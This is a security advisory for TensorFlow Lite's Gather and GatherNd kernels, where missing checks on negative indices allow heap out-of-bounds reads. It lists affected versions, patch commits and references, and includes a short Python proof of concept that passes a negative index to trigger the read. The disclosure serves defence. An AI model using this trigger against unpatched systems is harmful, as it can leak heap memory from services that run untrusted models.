GHSA-jwf9-w5xm-f437
Heap OOB in TFLite's `Gather*` implementations
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | tensorflow | < 2.3.4 | 2.3.4 |
| PyPI | tensorflow | >= 2.4.0, < 2.4.3 | 2.4.3 |
| PyPI | tensorflow | >= 2.5.0, < 2.5.1 | 2.5.1 |
| PyPI | tensorflow-cpu | < 2.3.4 | 2.3.4 |
| PyPI | tensorflow-cpu | >= 2.4.0, < 2.4.3 | 2.4.3 |
| PyPI | tensorflow-cpu | >= 2.5.0, < 2.5.1 | 2.5.1 |
| PyPI | tensorflow-gpu | < 2.3.4 | 2.3.4 |
| PyPI | tensorflow-gpu | >= 2.4.0, < 2.4.3 | 2.4.3 |
| PyPI | tensorflow-gpu | >= 2.5.0, < 2.5.1 | 2.5.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
TFLite's [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation.
Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`.
Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc).
```python
import tensorflow as tf
import numpy as np
tf.compat.v1.disable_v2_behavior()
params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,))
indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())
out = tf.gather(params, indices, name='out')
with tf.compat.v1.Session() as sess:
converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()
params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))
indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())
interpreter.set_tensor(input_details[0]['index'], params_data)
interpreter.set_tensor(input_details[1]['index'], indices_data)
interpreter.invoke()
```
### Patches
We have patched the issue in GitHub commits [bb6a0383ed553c286f87ca88c207f6774d5c4a8f](https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f) and [eb921122119a6b6e470ee98b89e65d721663179d](https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-jwf9-w5xm-f437
- https://nvd.nist.gov/vuln/detail/CVE-2021-37687
- https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f
- https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-600.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-798.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-309.yaml
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc
- https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124